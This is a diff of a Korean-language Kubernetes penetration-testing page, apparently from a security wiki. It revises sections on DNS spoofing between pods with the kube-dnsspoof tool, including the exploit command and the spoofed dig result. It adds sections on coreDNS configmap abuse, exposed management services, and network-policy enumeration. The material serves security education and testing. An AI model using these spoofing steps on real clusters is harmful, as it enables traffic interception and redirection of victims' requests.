[**https://github.com/danielsagi/kube-dnsspoof/**](https://github.com/danielsagi/kube-dnsspoof/)에서 이를 테스트할 수 있는 정말 멋진 **도구**와 **튜토리얼**을 가지고 있습니다. -우리의 시나리오에서는, **공격자 포드**에 **도구**를 **다운로드**하고 **스푸핑**하려는 **도메인**으로 \*\*`hosts`라는 이름의 파일을 생성**하세요: +우리의 시나리오에서는, **공격자 포드**에 **도구**를 **다운로드**하고 **스푸핑**하려는 **도메인**으로 **`hosts`라는 이름의 파일**을 생성합니다: ``` cat hosts google.com. 1.1.1.1 ``` -ubuntu-victim 머신에 공격을 수행하십시오: +우분투-희생자 머신에 공격을 수행하십시오: ``` python3 exploit.py --direct 172.17.0.10 [*] starting attack on direct mode to pod 172.17.0.10 @@ -260,13 +260,45 @@ dig google.com google.com. 1 IN A 1.1.1.1 ``` > [!NOTE] -> 만약 당신이 자신의 DNS 스푸핑 스크립트를 만들려고 한다면, **DNS 응답만 수정하는 것**은 **작동하지 않을 것입니다**, 왜냐하면 **응답**은 **악성** **pod**의 **src IP** 주소를 가질 것이고 **수락되지 않을 것입니다**.\ +> 만약 당신이 자신의 DNS 스푸핑 스크립트를 만들려고 한다면, **DNS 응답만 수정하는 것**은 **작동하지 않을 것입니다**, 왜냐하면 **응답**은 **악성** **pod**의 IP 주소인 **src IP**를 가질 것이고 **수용되지 않을 것입니다**.\ > 당신은 피해자가 DNS 요청을 보낸 **DNS**의 **src IP**로 **새 DNS 패킷**을 생성해야 합니다 (이는 172.16.0.2와 같은 것이며, 10.96.0.10은 K8s DNS 서비스 IP이고 DNS 서버 IP가 아닙니다. 이에 대한 자세한 내용은 소개에서 다룹니다). +## coreDNS configmap을 통한 DNS 스푸핑 + +kube-system 네임스페이스의 configmap `coredns`에 대한 쓰기 권한이 있는 사용자는 클러스터의 DNS 응답을 수정할 수 있습니다. + +이 공격에 대한 더 많은 정보는 다음에서 확인하세요: + +{{#ref}} +abusing-roles-clusterroles-in-kubernetes/README.md +{{/ref}} + +## 노출된 쿠버네티스 관리 서비스 악용 + +Apache NiFi, Kubeflow, Argo Workflows, Weave Scope 및 Kubernetes 대시보드와 같은 서비스는 종종 인터넷이나 쿠버네티스 네트워크 내에 노출됩니다. 쿠버네티스를 관리하는 데 사용되는 플랫폼을 **찾아내고 접근할 수 있는** 공격자는 이를 악용하여 쿠버네티스 API에 접근하고 새로운 pods를 생성하거나 기존 ones를 수정하거나 심지어 삭제하는 등의 작업을 수행할 수 있습니다. + +## 쿠버네티스 네트워크 정책 열거 + +구성된 **networkpolicies** 가져오기: +```bash +kubectl get networkpolicies --all-namespaces +``` +**Callico** 네트워크 정책 가져오기: +```bash +kubectl get globalnetworkpolicy --all-namespaces +``` +**Cillium** 네트워크 정책 가져오기: +```bash +kubectl get ciliumnetworkpolicy --all-namespaces +``` +네트워크 플러그인 또는 보안 솔루션에 의해 설치된 다른 정책 관련 CRD를 가져옵니다: +```bash +kubectl get crd | grep -i policy +``` ## 트래픽 캡처 -도구 [**Mizu**](https://github.com/up9inc/mizu)는 Kubernetes를 위한 간단하면서도 강력한 API **트래픽 뷰어**로, 마이크로서비스 간의 **모든 API 통신**을 **보기** 위해 사용되어 디버그 및 회귀 문제 해결에 도움을 줍니다.\ -선택한 pod에 에이전트를 설치하고 그들의 트래픽 정보를 수집하여 웹 서버에 표시합니다. 그러나 이를 위해서는 높은 K8s 권한이 필요하며 (그리고 매우 은밀하지는 않습니다). +도구 [**Mizu**](https://github.com/up9inc/mizu)는 **Kubernetes**를 위한 간단하면서도 강력한 API **트래픽 뷰어**로, 마이크로서비스 간의 **모든 API 통신**을 볼 수 있게 하여 디버깅 및 회귀 문제 해결에 도움을 줍니다.\ +선택한 파드에 에이전트를 설치하고 그들의 트래픽 정보를 수집하여 웹 서버에 표시합니다. 그러나 이를 위해서는 높은 K8s 권한이 필요하며 (그리고 그리 은밀하지 않습니다). ## 참고자료